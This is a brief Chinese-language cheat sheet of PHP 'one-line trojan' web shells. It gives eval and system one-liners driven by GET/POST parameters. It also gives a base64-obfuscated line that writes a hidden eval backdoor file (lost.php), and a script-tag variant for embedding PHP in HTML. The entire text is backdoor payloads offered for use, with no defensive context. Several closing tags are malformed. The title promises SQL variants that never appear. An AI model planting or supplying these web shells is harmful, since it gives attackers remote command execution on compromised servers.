PHP与SQL语句写一句话木马总结

<?php @eval($_GET["code"])? 

<?php @system($_POST["cmd"])? 

<?php @fputs(fopen(base64_decode('bG9zdC5waHA='),w),base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWydsb3N0d29sZiddKTs/Pg=='));? 

//会生成<?php @eval($_POST['lostwolf']);? 

 

<script language="php" @fputs(fopen(base64_decode('bG9zdC5waHA='),w),base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWydsb3N0d29sZiddKTs/Pg=='));</script 

//php在html内部的一种嵌入方式
